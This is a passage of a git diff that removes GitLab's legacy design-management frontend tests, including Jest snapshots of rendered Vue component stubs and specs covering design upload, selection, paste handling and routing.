- />
- </design-dropzone-stub>
-
- <!---->
- </li>
- <li
- class="col-md-6 col-lg-4 mb-3"
- >
- <design-dropzone-stub>
- <design-stub
- event="NONE"
- filename="design-2-name"
- id="design-2"
- image="design-2-image"
- notescount="1"
- />
- </design-dropzone-stub>
-
- <!---->
- </li>
- <li
- class="col-md-6 col-lg-4 mb-3"
- >
- <design-dropzone-stub>
- <design-stub
- event="NONE"
- filename="design-3-name"
- id="design-3"
- image="design-3-image"
- notescount="0"
- />
- </design-dropzone-stub>
-
- <!---->
- </li>
- </ol>
- </div>
-
- <router-view-stub
- name="default"
- />
-</div>
-`;
-
-exports[`Design management index page designs renders designs list and header with upload button 1`] = `
-<div>
- <header
- class="row-content-block border-top-0 p-2 d-flex"
- >
- <div
- class="d-flex justify-content-between align-items-center w-100"
- >
- <design-version-dropdown-stub />
-
- <div
- class="qa-selector-toolbar d-flex"
- >
- <gl-deprecated-button-stub
- class="mr-2 js-select-all"
- size="md"
- variant="link"
- >
- Select all
- </gl-deprecated-button-stub>
-
- <div>
- <delete-button-stub
- buttonclass="btn-danger btn-inverted mr-2"
- buttonvariant=""
- >
-
- Delete selected
-
- <!---->
- </delete-button-stub>
- </div>
-
- <upload-button-stub />
- </div>
- </div>
- </header>
-
- <div
- class="mt-4"
- >
- <ol
- class="list-unstyled row"
- >
- <li
- class="col-md-6 col-lg-4 mb-3"
- >
- <design-dropzone-stub
- class="design-list-item"
- />
- </li>
-
- <li
- class="col-md-6 col-lg-4 mb-3"
- >
- <design-dropzone-stub>
- <design-stub
- event="NONE"
- filename="design-1-name"
- id="design-1"
- image="design-1-image"
- notescount="0"
- />
- </design-dropzone-stub>
-
- <input
- class="design-checkbox"
- type="checkbox"
- />
- </li>
- <li
- class="col-md-6 col-lg-4 mb-3"
- >
- <design-dropzone-stub>
- <design-stub
- event="NONE"
- filename="design-2-name"
- id="design-2"
- image="design-2-image"
- notescount="1"
- />
- </design-dropzone-stub>
-
- <input
- class="design-checkbox"
- type="checkbox"
- />
- </li>
- <li
- class="col-md-6 col-lg-4 mb-3"
- >
- <design-dropzone-stub>
- <design-stub
- event="NONE"
- filename="design-3-name"
- id="design-3"
- image="design-3-image"
- notescount="0"
- />
- </design-dropzone-stub>
-
- <input
- class="design-checkbox"
- type="checkbox"
- />
- </li>
- </ol>
- </div>
-
- <router-view-stub
- name="default"
- />
-</div>
-`;
-
-exports[`Design management index page designs renders error 1`] = `
-<div>
- <!---->
-
- <div
- class="mt-4"
- >
- <gl-alert-stub
- dismisslabel="Dismiss"
- primarybuttonlink=""
- primarybuttontext=""
- secondarybuttonlink=""
- secondarybuttontext=""
- title=""
- variant="danger"
- >
-
- An error occurred while loading designs. Please try again.
-
- </gl-alert-stub>
- </div>
-
- <router-view-stub
- name="default"
- />
-</div>
-`;
-
-exports[`Design management index page designs renders loading icon 1`] = `
-<div>
- <!---->
-
- <div
- class="mt-4"
- >
- <gl-loading-icon-stub
- color="orange"
- label="Loading"
- size="md"
- />
- </div>
-
- <router-view-stub
- name="default"
- />
-</div>
-`;
-
-exports[`Design management index page when has no designs renders empty text 1`] = `
-<div>
- <!---->
-
- <div
- class="mt-4"
- >
- <ol
- class="list-unstyled row"
- >
- <li
- class="col-md-6 col-lg-4 mb-3"
- >
- <design-dropzone-stub
- class="design-list-item"
- />
- </li>
-
- </ol>
- </div>
-
- <router-view-stub
- name="default"
- />
-</div>
-`;
diff --git a/spec/frontend/design_management_legacy/pages/design/__snapshots__/index_spec.js.snap b/spec/frontend/design_management_legacy/pages/design/__snapshots__/index_spec.js.snap
deleted file mode 100644
index dc5baf37fc6..00000000000
--- a/spec/frontend/design_management_legacy/pages/design/__snapshots__/index_spec.js.snap
+++ /dev/null
@@ -1,216 +0,0 @@
-// Jest Snapshot v1, https://goo.gl/fbAQLP
-
-exports[`Design management design index page renders design index 1`] = `
-<div
- class="design-detail js-design-detail fixed-top w-100 position-bottom-0 d-flex justify-content-center flex-column flex-lg-row"
->
- <div
- class="d-flex overflow-hidden flex-grow-1 flex-column position-relative"
- >
- <design-destroyer-stub
- filenames="test.jpg"
- iid="1"
- projectpath=""
- />
-
- <!---->
-
- <design-presentation-stub
- discussions="[object Object],[object Object]"
- image="test.jpg"
- imagename="test.jpg"
- scale="1"
- />
-
- <div
- class="design-scaler-wrapper position-absolute mb-4 d-flex-center"
- >
- <design-scaler-stub />
- </div>
- </div>
-
- <div
- class="image-notes"
- >
- <h2
- class="gl-font-weight-bold gl-mt-0"
- >
-
- My precious issue
-
- </h2>
-
- <a
- class="gl-text-gray-400 gl-text-decoration-none gl-mb-6 gl-display-block"
- href="full-issue-url"
- >
- ull-issue-path
- </a>
-
- <participants-stub
- class="gl-mb-4"
- numberoflessparticipants="7"
- participants="[object Object]"
- />
-
- <!---->
-
- <design-discussion-stub
- data-testid="unresolved-discussion"
- designid="test"
- discussion="[object Object]"
- discussionwithopenform=""
- markdownpreviewpath="//preview_markdown?target_type=Issue"
- noteableid="design-id"
- />
-
- <gl-button-stub
- category="primary"
- class="link-inherit-color gl-text-body gl-text-decoration-none gl-font-weight-bold gl-mb-4"
- data-testid="resolved-comments"
- icon="chevron-right"
- id="resolved-comments"
- size="medium"
- variant="link"
- >
- Resolved Comments (1)
-
- </gl-button-stub>
-
- <gl-popover-stub
- container="popovercontainer"
- cssclasses=""
- placement="top"
- show="true"
- target="resolved-comments"
- title="Resolved Comments"
- >
- <p>
-
- Comments you resolve can be viewed and unresolved by going to the "Resolved Comments" section below
-
- </p>
-
- <a
- href="#"
- rel="noopener noreferrer"
- target="_blank"
- >
- Learn more about resolving comments
- </a>
- </gl-popover-stub>
-
- <gl-collapse-stub
- class="gl-mt-3"
- >
- <design-discussion-stub
- data-testid="resolved-discussion"
- designid="test"
- discussion="[object Object]"
- discussionwithopenform=""
- markdownpreviewpath="//preview_markdown?target_type=Issue"
- noteableid="design-id"
- />
- </gl-collapse-stub>
-
- </div>
-</div>
-`;
-
-exports[`Design management design index page sets loading state 1`] = `
-<div
- class="design-detail js-design-detail fixed-top w-100 position-bottom-0 d-flex justify-content-center flex-column flex-lg-row"
->
- <gl-loading-icon-stub
- class="align-self-center"
- color="orange"
- label="Loading"
- size="xl"
- />
-</div>
-`;
-
-exports[`Design management design index page with error GlAlert is rendered in correct position with correct content 1`] = `
-<div
- class="design-detail js-design-detail fixed-top w-100 position-bottom-0 d-flex justify-content-center flex-column flex-lg-row"
->
- <div
- class="d-flex overflow-hidden flex-grow-1 flex-column position-relative"
- >
- <design-destroyer-stub
- filenames="test.jpg"
- iid="1"
- projectpath=""
- />
-
- <div
- class="p-3"
- >
- <gl-alert-stub
- dismissible="true"
- dismisslabel="Dismiss"
- primarybuttonlink=""
- primarybuttontext=""
- secondarybuttonlink=""
- secondarybuttontext=""
- title=""
- variant="danger"
- >
-
- woops
-
- </gl-alert-stub>
- </div>
-
- <design-presentation-stub
- discussions=""
- image="test.jpg"
- imagename="test.jpg"
- scale="1"
- />
-
- <div
- class="design-scaler-wrapper position-absolute mb-4 d-flex-center"
- >
- <design-scaler-stub />
- </div>
- </div>
-
- <div
- class="image-notes"
- >
- <h2
- class="gl-font-weight-bold gl-mt-0"
- >
-
- My precious issue
-
- </h2>
-
- <a
- class="gl-text-gray-400 gl-text-decoration-none gl-mb-6 gl-display-block"
- href="full-issue-url"
- >
- ull-issue-path
- </a>
-
- <participants-stub
- class="gl-mb-4"
- numberoflessparticipants="7"
- participants="[object Object]"
- />
-
- <h2
- class="new-discussion-disclaimer gl-font-base gl-m-0 gl-mb-4"
- data-testid="new-discussion-disclaimer"
- >
-
- Click the image where you'd like to start a new discussion
-
- </h2>
-
- <!---->
-
- </div>
-</div>
-`;
diff --git a/spec/frontend/design_management_legacy/pages/design/index_spec.js b/spec/frontend/design_management_legacy/pages/design/index_spec.js
deleted file mode 100644
index 5eb4158c715..00000000000
--- a/spec/frontend/design_management_legacy/pages/design/index_spec.js
+++ /dev/null
@@ -1,291 +0,0 @@
-import { shallowMount, createLocalVue } from '@vue/test-utils';
-import VueRouter from 'vue-router';
-import { GlAlert } from '@gitlab/ui';
-import { ApolloMutation } from 'vue-apollo';
-import { deprecatedCreateFlash as createFlash } from '~/flash';
-import DesignIndex from '~/design_management_legacy/pages/design/index.vue';
-import DesignSidebar from '~/design_management_legacy/components/design_sidebar.vue';
-import DesignPresentation from '~/design_management_legacy/components/design_presentation.vue';
-import createImageDiffNoteMutation from '~/design_management_legacy/graphql/mutations/create_image_diff_note.mutation.graphql';
-import design from '../../mock_data/design';
-import mockResponseWithDesigns from '../../mock_data/designs';
-import mockResponseNoDesigns from '../../mock_data/no_designs';
-import mockAllVersions from '../../mock_data/all_versions';
-import {
- DESIGN_NOT_FOUND_ERROR,
- DESIGN_VERSION_NOT_EXIST_ERROR,
-} from '~/design_management_legacy/utils/error_messages';
-import { DESIGNS_ROUTE_NAME } from '~/design_management_legacy/router/constants';
-import createRouter from '~/design_management_legacy/router';
-import * as utils from '~/design_management_legacy/utils/design_management_utils';
-import { DESIGN_DETAIL_LAYOUT_CLASSLIST } from '~/design_management_legacy/constants';
-
-jest.mock('~/flash');
-jest.mock('mousetrap', () => ({
- bind: jest.fn(),
- unbind: jest.fn(),
-}));
-
-const focusInput = jest.fn();
-
-const DesignReplyForm = {
- template: '<div><textarea ref="textarea"></textarea></div>',
- methods: {
- focusInput,
- },
-};
-
-const localVue = createLocalVue();
-localVue.use(VueRouter);
-
-describe('Design management design index page', () => {
- let wrapper;
- let router;
-
- const newComment = 'new comment';
- const annotationCoordinates = {
- x: 10,
- y: 10,
- width: 100,
- height: 100,
- };
- const createDiscussionMutationVariables = {
- mutation: createImageDiffNoteMutation,
- update: expect.anything(),
- variables: {
- input: {
- body: newComment,
- noteableId: design.id,
- position: {
- headSha: 'headSha',
- baseSha: 'baseSha',
- startSha: 'startSha',
- paths: {
- newPath: 'full-design-path',
- },
- ...annotationCoordinates,
- },
- },
- },
- };
-
- const mutate = jest.fn().mockResolvedValue();
-
- const findDiscussionForm = () => wrapper.find(DesignReplyForm);
- const findSidebar = () => wrapper.find(DesignSidebar);
- const findDesignPresentation = () => wrapper.find(DesignPresentation);
-
- function createComponent(loading = false, data = {}) {
- const $apollo = {
- queries: {
- design: {
- loading,
- },
- },
- mutate,
- };
-
- router = createRouter();
-
- wrapper = shallowMount(DesignIndex, {
- propsData: { id: '1' },
- mocks: { $apollo },
- stubs: {
- ApolloMutation,
- DesignSidebar,
- DesignReplyForm,
- },
- data() {
- return {
- issueIid: '1',
- activeDiscussion: {
- id: null,
- source: null,
- },
- ...data,
- };
- },
- localVue,
- router,
- });
- }
-
- afterEach(() => {
- wrapper.destroy();
- });
-
- describe('when navigating', () => {
- it('applies fullscreen layout', () => {
- const mockEl = {
- classList: {
- add: jest.fn(),
- remove: jest.fn(),
- },
- };
- jest.spyOn(utils, 'getPageLayoutElement').mockReturnValue(mockEl);
- createComponent(true);
-
- wrapper.vm.$router.push('/designs/test');
- expect(mockEl.classList.add).toHaveBeenCalledTimes(1);
- expect(mockEl.classList.add).toHaveBeenCalledWith(...DESIGN_DETAIL_LAYOUT_CLASSLIST);
- });
- });
-
- it('sets loading state', () => {
- createComponent(true);
-
- expect(wrapper.element).toMatchSnapshot();
- });
-
- it('renders design index', () => {
- createComponent(false, { design });
-
- expect(wrapper.element).toMatchSnapshot();
- expect(wrapper.find(GlAlert).exists()).toBe(false);
- });
-
- it('passes correct props to sidebar component', () => {
- createComponent(false, { design });
-
- expect(findSidebar().props()).toEqual({
- design,
- markdownPreviewPath: '//preview_markdown?target_type=Issue',
- resolvedDiscussionsExpanded: false,
- });
- });
-
- it('opens a new discussion form', () => {
- createComponent(false, {
- design: {
- ...design,
- discussions: {
- nodes: [],
- },
- },
- });
-
- findDesignPresentation().vm.$emit('openCommentForm', { x: 0, y: 0 });
-
- return wrapper.vm.$nextTick().then(() => {
- expect(findDiscussionForm().exists()).toBe(true);
- });
- });
-
- it('keeps new discussion form focused', () => {
- createComponent(false, {
- design: {
- ...design,
- discussions: {
- nodes: [],
- },
- },
- annotationCoordinates,
- });
-
- findDesignPresentation().vm.$emit('openCommentForm', { x: 10, y: 10 });
-
- expect(focusInput).toHaveBeenCalled();
- });
-
- it('sends a mutation on submitting form and closes form', () => {
- createComponent(false, {
- design: {
- ...design,
- discussions: {
- nodes: [],
- },
- },
- annotationCoordinates,
- comment: newComment,
- });
-
- findDiscussionForm().vm.$emit('submitForm');
- expect(mutate).toHaveBeenCalledWith(createDiscussionMutationVariables);
-
- return wrapper.vm
- .$nextTick()
- .then(() => {
- return mutate({ variables: createDiscussionMutationVariables });
- })
- .then(() => {
- expect(findDiscussionForm().exists()).toBe(false);
- });
- });
-
- it('closes the form and clears the comment on canceling form', () => {
- createComponent(false, {
- design: {
- ...design,
- discussions: {
- nodes: [],
- },
- },
- annotationCoordinates,
- comment: newComment,
- });
-
- findDiscussionForm().vm.$emit('cancelForm');
-
- expect(wrapper.vm.comment).toBe('');
-
- return wrapper.vm.$nextTick().then(() => {
- expect(findDiscussionForm().exists()).toBe(false);
- });
- });
-
- describe('with error', () => {
- beforeEach(() => {
- createComponent(false, {
- design: {
- ...design,
- discussions: {
- nodes: [],
- },
- },
- errorMessage: 'woops',
- });
- });
-
- it('GlAlert is rendered in correct position with correct content', () => {
- expect(wrapper.element).toMatchSnapshot();
- });
- });
-
- describe('onDesignQueryResult', () => {
- describe('with no designs', () => {
- it('redirects to /designs', () => {
- createComponent(true);
- router.push = jest.fn();
-
- wrapper.vm.onDesignQueryResult({ data: mockResponseNoDesigns, loading: false });
- return wrapper.vm.$nextTick().then(() => {
- expect(createFlash).toHaveBeenCalledTimes(1);
- expect(createFlash).toHaveBeenCalledWith(DESIGN_NOT_FOUND_ERROR);
- expect(router.push).toHaveBeenCalledTimes(1);
- expect(router.push).toHaveBeenCalledWith({ name: DESIGNS_ROUTE_NAME });
- });
- });
- });
-
- describe('when no design exists for given version', () => {
- it('redirects to /designs', () => {
- createComponent(true);
- wrapper.setData({
- allVersions: mockAllVersions,
- });
-
- // attempt to query for a version of the design that doesn't exist
- router.push({ query: { version: '999' } });
- router.push = jest.fn();
-
- wrapper.vm.onDesignQueryResult({ data: mockResponseWithDesigns, loading: false });
- return wrapper.vm.$nextTick().then(() => {
- expect(createFlash).toHaveBeenCalledTimes(1);
- expect(createFlash).toHaveBeenCalledWith(DESIGN_VERSION_NOT_EXIST_ERROR);
- expect(router.push).toHaveBeenCalledTimes(1);
- expect(router.push).toHaveBeenCalledWith({ name: DESIGNS_ROUTE_NAME });
- });
- });
- });
- });
-});
diff --git a/spec/frontend/design_management_legacy/pages/index_spec.js b/spec/frontend/design_management_legacy/pages/index_spec.js
deleted file mode 100644
index 5b7512aab7b..00000000000
--- a/spec/frontend/design_management_legacy/pages/index_spec.js
+++ /dev/null
@@ -1,543 +0,0 @@
-import { createLocalVue, shallowMount } from '@vue/test-utils';
-import { ApolloMutation } from 'vue-apollo';
-import VueRouter from 'vue-router';
-import { GlEmptyState } from '@gitlab/ui';
-import Index from '~/design_management_legacy/pages/index.vue';
-import uploadDesignQuery from '~/design_management_legacy/graphql/mutations/upload_design.mutation.graphql';
-import DesignDestroyer from '~/design_management_legacy/components/design_destroyer.vue';
-import DesignDropzone from '~/design_management_legacy/components/upload/design_dropzone.vue';
-import DeleteButton from '~/design_management_legacy/components/delete_button.vue';
-import { DESIGNS_ROUTE_NAME } from '~/design_management_legacy/router/constants';
-import {
- EXISTING_DESIGN_DROP_MANY_FILES_MESSAGE,
- EXISTING_DESIGN_DROP_INVALID_FILENAME_MESSAGE,
-} from '~/design_management_legacy/utils/error_messages';
-import { deprecatedCreateFlash as createFlash } from '~/flash';
-import createRouter from '~/design_management_legacy/router';
-import * as utils from '~/design_management_legacy/utils/design_management_utils';
-import { DESIGN_DETAIL_LAYOUT_CLASSLIST } from '~/design_management_legacy/constants';
-
-jest.mock('~/flash.js');
-const mockPageEl = {
- classList: {
- remove: jest.fn(),
- },
-};
-jest.spyOn(utils, 'getPageLayoutElement').mockReturnValue(mockPageEl);
-
-const localVue = createLocalVue();
-const router = createRouter();
-localVue.use(VueRouter);
-
-const mockDesigns = [
- {
- id: 'design-1',
- image: 'design-1-image',
- filename: 'design-1-name',
- event: 'NONE',
- notesCount: 0,
- },
- {
- id: 'design-2',
- image: 'design-2-image',
- filename: 'design-2-name',
- event: 'NONE',
- notesCount: 1,
- },
- {
- id: 'design-3',
- image: 'design-3-image',
- filename: 'design-3-name',
- event: 'NONE',
- notesCount: 0,
- },
-];
-
-const mockVersion = {
- node: {
- id: 'gid://gitlab/DesignManagement::Version/1',
- },
-};
-
-describe('Design management index page', () => {
- let mutate;
- let wrapper;
-
- const findDesignCheckboxes = () => wrapper.findAll('.design-checkbox');
- const findSelectAllButton = () => wrapper.find('.js-select-all');
- const findToolbar = () => wrapper.find('.qa-selector-toolbar');
- const findDeleteButton = () => wrapper.find(DeleteButton);
- const findDropzone = () => wrapper.findAll(DesignDropzone).at(0);
- const findFirstDropzoneWithDesign = () => wrapper.findAll(DesignDropzone).at(1);
-
- function createComponent({
- loading = false,
- designs = [],
- allVersions = [],
- createDesign = true,
- stubs = {},
- mockMutate = jest.fn().mockResolvedValue(),
- } = {}) {
- mutate = mockMutate;
- const $apollo = {
- queries: {
- designs: {
- loading,
- },
- permissions: {
- loading,
- },
- },
- mutate,
- };
-
- wrapper = shallowMount(Index, {
- mocks: { $apollo },
- localVue,
- router,
- stubs: { DesignDestroyer, ApolloMutation, ...stubs },
- attachToDocument: true,
- });
-
- wrapper.setData({
- designs,
- allVersions,
- issueIid: '1',
- permissions: {
- createDesign,
- },
- });
- }
-
- afterEach(() => {
- wrapper.destroy();
- });
-
- describe('designs', () => {
- it('renders loading icon', () => {
- createComponent({ loading: true });
-
- return wrapper.vm.$nextTick().then(() => {
- expect(wrapper.element).toMatchSnapshot();
- });
- });
-
- it('renders error', () => {
- createComponent();
-
- wrapper.setData({ error: true });
-
- return wrapper.vm.$nextTick().then(() => {
- expect(wrapper.element).toMatchSnapshot();
- });
- });
-
- it('renders a toolbar with buttons when there are designs', () => {
- createComponent({ designs: mockDesigns, allVersions: [mockVersion] });
-
- return wrapper.vm.$nextTick().then(() => {
- expect(findToolbar().exists()).toBe(true);
- });
- });
-
- it('renders designs list and header with upload button', () => {
- createComponent({ designs: mockDesigns, allVersions: [mockVersion] });
-
- return wrapper.vm.$nextTick().then(() => {
- expect(wrapper.element).toMatchSnapshot();
- });
- });
-
- it('does not render toolbar when there is no permission', () => {
- createComponent({ designs: mockDesigns, allVersions: [mockVersion], createDesign: false });
-
- return wrapper.vm.$nextTick().then(() => {
- expect(wrapper.element).toMatchSnapshot();
- });
- });
- });
-
- describe('when has no designs', () => {
- beforeEach(() => {
- createComponent();
- });
-
- it('renders empty text', () =>
- wrapper.vm.$nextTick().then(() => {
- expect(wrapper.element).toMatchSnapshot();
- }));
-
- it('does not render a toolbar with buttons', () =>
- wrapper.vm.$nextTick().then(() => {
- expect(findToolbar().exists()).toBe(false);
- }));
- });
-
- describe('uploading designs', () => {
- it('calls mutation on upload', () => {
- createComponent({ stubs: { GlEmptyState } });
-
- const mutationVariables = {
- update: expect.anything(),
- context: {
- hasUpload: true,
- },
- mutation: uploadDesignQuery,
- variables: {
- files: [{ name: 'test' }],
- projectPath: '',
- iid: '1',
- },
- optimisticResponse: {
- __typename: 'Mutation',
- designManagementUpload: {
- __typename: 'DesignManagementUploadPayload',
- designs: [
- {
- __typename: 'Design',
- id: expect.anything(),
- image: '',
- imageV432x230: '',
- filename: 'test',
- fullPath: '',
- event: 'NONE',
- notesCount: 0,
- diffRefs: {
- __typename: 'DiffRefs',
- baseSha: '',
- startSha: '',
- headSha: '',
- },
- discussions: {
- __typename: 'DesignDiscussion',
- nodes: [],
- },
- versions: {
- __typename: 'DesignVersionConnection',
- edges: {
- __typename: 'DesignVersionEdge',
- node: {
- __typename: 'DesignVersion',
- id: expect.anything(),
- sha: expect.anything(),
- },
- },
- },
- },
- ],
- skippedDesigns: [],
- errors: [],
- },
- },
- };
-
- return wrapper.vm.$nextTick().then(() => {
- findDropzone().vm.$emit('change', [{ name: 'test' }]);
- expect(mutate).toHaveBeenCalledWith(mutationVariables);
- expect(wrapper.vm.filesToBeSaved).toEqual([{ name: 'test' }]);
- expect(wrapper.vm.isSaving).toBeTruthy();
- });
- });
-
- it('sets isSaving', () => {
- createComponent();
-
- const uploadDesign = wrapper.vm.onUploadDesign([
- {
- name: 'test',
- },
- ]);
-
- expect(wrapper.vm.isSaving).toBe(true);
-
- return uploadDesign.then(() => {
- expect(wrapper.vm.isSaving).toBe(false);
- });
- });
-
- it('updates state appropriately after upload complete', () => {
- createComponent({ stubs: { GlEmptyState } });
- wrapper.setData({ filesToBeSaved: [{ name: 'test' }] });
-
- wrapper.vm.onUploadDesignDone();
- return wrapper.vm.$nextTick().then(() => {
- expect(wrapper.vm.filesToBeSaved).toEqual([]);
- expect(wrapper.vm.isSaving).toBeFalsy();
- expect(wrapper.vm.isLatestVersion).toBe(true);
- });
- });
-
- it('updates state appropriately after upload error', () => {
- createComponent({ stubs: { GlEmptyState } });
- wrapper.setData({ filesToBeSaved: [{ name: 'test' }] });
-
- wrapper.vm.onUploadDesignError();
- return wrapper.vm.$nextTick().then(() => {
- expect(wrapper.vm.filesToBeSaved).toEqual([]);
- expect(wrapper.vm.isSaving).toBeFalsy();
- expect(createFlash).toHaveBeenCalled();
-
- createFlash.mockReset();
- });
- });
-
- it('does not call mutation if createDesign is false', () => {
- createComponent({ createDesign: false });
-
- wrapper.vm.onUploadDesign([]);
-
- expect(mutate).not.toHaveBeenCalled();
- });
-
- describe('upload count limit', () => {
- const MAXIMUM_FILE_UPLOAD_LIMIT = 10;
-
- afterEach(() => {
- createFlash.mockReset();
- });
-
- it('does not warn when the max files are uploaded', () => {
- createComponent();
-
- wrapper.vm.onUploadDesign(new Array(MAXIMUM_FILE_UPLOAD_LIMIT).fill(mockDesigns[0]));
-
- expect(createFlash).not.toHaveBeenCalled();
- });
-
- it('warns when too many files are uploaded', () => {
- createComponent();
-
- wrapper.vm.onUploadDesign(new Array(MAXIMUM_FILE_UPLOAD_LIMIT + 1).fill(mockDesigns[0]));
-
- expect(createFlash).toHaveBeenCalled();
- });
- });
-
- it('flashes warning if designs are skipped', () => {
- createComponent({
- mockMutate: () =>
- Promise.resolve({
- data: { designManagementUpload: { skippedDesigns: [{ filename: 'test.jpg' }] } },
- }),
- });
-
- const uploadDesign = wrapper.vm.onUploadDesign([
- {
- name: 'test',
- },
- ]);
-
- return uploadDesign.then(() => {
- expect(createFlash).toHaveBeenCalledTimes(1);
- expect(createFlash).toHaveBeenCalledWith(
- 'Upload skipped. test.jpg did not change.',
- 'warning',
- );
- });
- });
-
- describe('dragging onto an existing design', () => {
- beforeEach(() => {
- createComponent({ designs: mockDesigns, allVersions: [mockVersion] });
- });
-
- it('calls onUploadDesign with valid upload', () => {
- wrapper.setMethods({
- onUploadDesign: jest.fn(),
- });
-
- const mockUploadPayload = [
- {
- name: mockDesigns[0].filename,
- },
- ];
-
- const designDropzone = findFirstDropzoneWithDesign();
- designDropzone.vm.$emit('change', mockUploadPayload);
-
- expect(wrapper.vm.onUploadDesign).toHaveBeenCalledTimes(1);
- expect(wrapper.vm.onUploadDesign).toHaveBeenCalledWith(mockUploadPayload);
- });
-
- it.each`
- description | eventPayload | message
- ${'> 1 file'} | ${[{ name: 'test' }, { name: 'test-2' }]} | ${EXISTING_DESIGN_DROP_MANY_FILES_MESSAGE}
- ${'different filename'} | ${[{ name: 'wrong-name' }]} | ${EXISTING_DESIGN_DROP_INVALID_FILENAME_MESSAGE}
- `('calls createFlash when upload has $description', ({ eventPayload, message }) => {
- const designDropzone = findFirstDropzoneWithDesign();
- designDropzone.vm.$emit('change', eventPayload);
-
- expect(createFlash).toHaveBeenCalledTimes(1);
- expect(createFlash).toHaveBeenCalledWith(message);
- });
- });
- });
-
- describe('on latest version when has designs', () => {
- beforeEach(() => {
- createComponent({ designs: mockDesigns, allVersions: [mockVersion] });
- });
-
- it('renders design checkboxes', () => {
- expect(findDesignCheckboxes()).toHaveLength(mockDesigns.length);
- });
-
- it('renders toolbar buttons', () => {
- expect(findToolbar().exists()).toBe(true);
- expect(findToolbar().classes()).toContain('d-flex');
- expect(findToolbar().classes()).not.toContain('d-none');
- });
-
- it('adds two designs to selected designs when their checkboxes are checked', () => {
- findDesignCheckboxes()
- .at(0)
- .trigger('click');
-
- return wrapper.vm
- .$nextTick()
- .then(() => {
- findDesignCheckboxes()
- .at(1)
- .trigger('click');
-
- return wrapper.vm.$nextTick();
- })
- .then(() => {
- expect(findDeleteButton().exists()).toBe(true);
- expect(findSelectAllButton().text()).toBe('Deselect all');
- findDeleteButton().vm.$emit('deleteSelectedDesigns');
- const [{ variables }] = mutate.mock.calls[0];
- expect(variables.filenames).toStrictEqual([
- mockDesigns[0].filename,
- mockDesigns[1].filename,
- ]);
- });
- });
-
- it('adds all designs to selected designs when Select All button is clicked', () => {
- findSelectAllButton().vm.$emit('click');
-
- return wrapper.vm.$nextTick().then(() => {
- expect(findDeleteButton().props().hasSelectedDesigns).toBe(true);
- expect(findSelectAllButton().text()).toBe('Deselect all');
- expect(wrapper.vm.selectedDesigns).toEqual(mockDesigns.map(design => design.filename));
- });
- });
-
- it('removes all designs from selected designs when at least one design was selected', () => {
- findDesignCheckboxes()
- .at(0)
- .trigger('click');
-
- return wrapper.vm
- .$nextTick()
- .then(() => {
- findSelectAllButton().vm.$emit('click');
- })
- .then(() => {
- expect(findDeleteButton().props().hasSelectedDesigns).toBe(false);
- expect(findSelectAllButton().text()).toBe('Select all');
- expect(wrapper.vm.selectedDesigns).toEqual([]);
- });
- });
- });
-
- it('on latest version when has no designs does not render toolbar buttons', () => {
- createComponent({ designs: [], allVersions: [mockVersion] });
- expect(findToolbar().exists()).toBe(false);
- });
-
- describe('on non-latest version', () => {
- beforeEach(() => {
- createComponent({ designs: mockDesigns, allVersions: [mockVersion] });
-
- router.replace({
- name: DESIGNS_ROUTE_NAME,
- query: {
- version: '2',
- },
- });
- });
-
- it('does not render design checkboxes', () => {
- expect(findDesignCheckboxes()).toHaveLength(0);
- });
-
- it('does not render Delete selected button', () => {
- expect(findDeleteButton().exists()).toBe(false);
- });
-
- it('does not render Select All button', () => {
- expect(findSelectAllButton().exists()).toBe(false);
- });
- });
-
- describe('pasting a design', () => {
- let event;
- beforeEach(() => {
- createComponent({ designs: mockDesigns, allVersions: [mockVersion] });
-
- wrapper.setMethods({
- onUploadDesign: jest.fn(),
- });
-
- event = new Event('paste');
-
- router.replace({
- name: DESIGNS_ROUTE_NAME,
- query: {
- version: '2',
- },
- });
- });
-
- it('calls onUploadDesign with valid paste', () => {
- event.clipboardData = {
- files: [{ name: 'image.png', type: 'image/png' }],
- getData: () => 'test.png',
- };
-
- document.dispatchEvent(event);
-
- expect(wrapper.vm.onUploadDesign).toHaveBeenCalledTimes(1);
- expect(wrapper.vm.onUploadDesign).toHaveBeenCalledWith([
- new File([{ name: 'image.png' }], 'test.png'),
- ]);
- });
-
- it('renames a design if it has an image.png filename', () => {
- event.clipboardData = {
- files: [{ name: 'image.png', type: 'image/png' }],
- getData: () => 'image.png',
- };
-
- document.dispatchEvent(event);
-
- expect(wrapper.vm.onUploadDesign).toHaveBeenCalledTimes(1);
- expect(wrapper.vm.onUploadDesign).toHaveBeenCalledWith([
- new File([{ name: 'image.png' }], `design_${Date.now()}.png`),
- ]);
- });
-
- it('does not call onUploadDesign with invalid paste', () => {
- event.clipboardData = {
- items: [{ type: 'text/plain' }, { type: 'text' }],
- files: [],
- };
-
- document.dispatchEvent(event);
-
- expect(wrapper.vm.onUploadDesign).not.toHaveBeenCalled();
- });
- });
-
- describe('when navigating', () => {
- it('ensures fullscreen layout is not applied', () => {
- createComponent(true);
-
- wrapper.vm.$router.push('/designs');
- expect(mockPageEl.classList.remove).toHaveBeenCalledTimes(1);
- expect(mockPageEl.classList.remove).toHaveBeenCalledWith(...DESIGN_DETAIL_LAYOUT_CLASSLIST);
- });
- });
-});
diff --git a/spec/frontend/design_management_legacy/router_spec.js b/spec/frontend/design_management_legacy/router_spec.js
deleted file mode 100644
index 5f62793a243..00000000000
--- a/spec/frontend/design_management_legacy/router_spec.js
+++ /dev/null
@@ -1,82 +0,0 @@
-import { mount, createLocalVue } from '@vue/test-utils';
-import { nextTick } from 'vue';
-import VueRouter from 'vue-router';
-import App from '~/design_management_legacy/components/app.vue';
-import Designs from '~/design_management_legacy/pages/index.vue';
-import DesignDetail from '~/design_management_legacy/pages/design/index.vue';
-import createRouter from '~/design_management_legacy/router';
-import {
- ROOT_ROUTE_NAME,
- DESIGNS_ROUTE_NAME,
- DESIGN_ROUTE_NAME,
-} from '~/design_management_legacy/router/constants';
-import '~/commons/bootstrap';
-
-function factory(routeArg) {
- const localVue = createLocalVue();
- localVue.use(VueRouter);
-
- window.gon = { sprite_icons: '' };
-
- const router = createRouter('/');
- if (routeArg !== undefined) {
- router.push(routeArg);
- }
-
- return mount(App, {
- localVue,
- router,
- mocks: {
- $apollo: {
- queries: {
- designs: { loading: true },
- design: { loading: true },
- permissions: { loading: true },
- },
- mutate: jest.fn(),
- },
- },
- });
-}
-
-jest.mock('mousetrap', () => ({
- bind: jest.fn(),
- unbind: jest.fn(),
-}));
-
-describe('Design management router', () => {
- afterEach(() => {
- window.location.hash = '';
- });
-
- describe.each([['/'], [{ name: ROOT_ROUTE_NAME }]])('root route', routeArg => {
- it('pushes home component', () => {
- const wrapper = factory(routeArg);
-
- expect(wrapper.find(Designs).exists()).toBe(true);
- });
- });
-
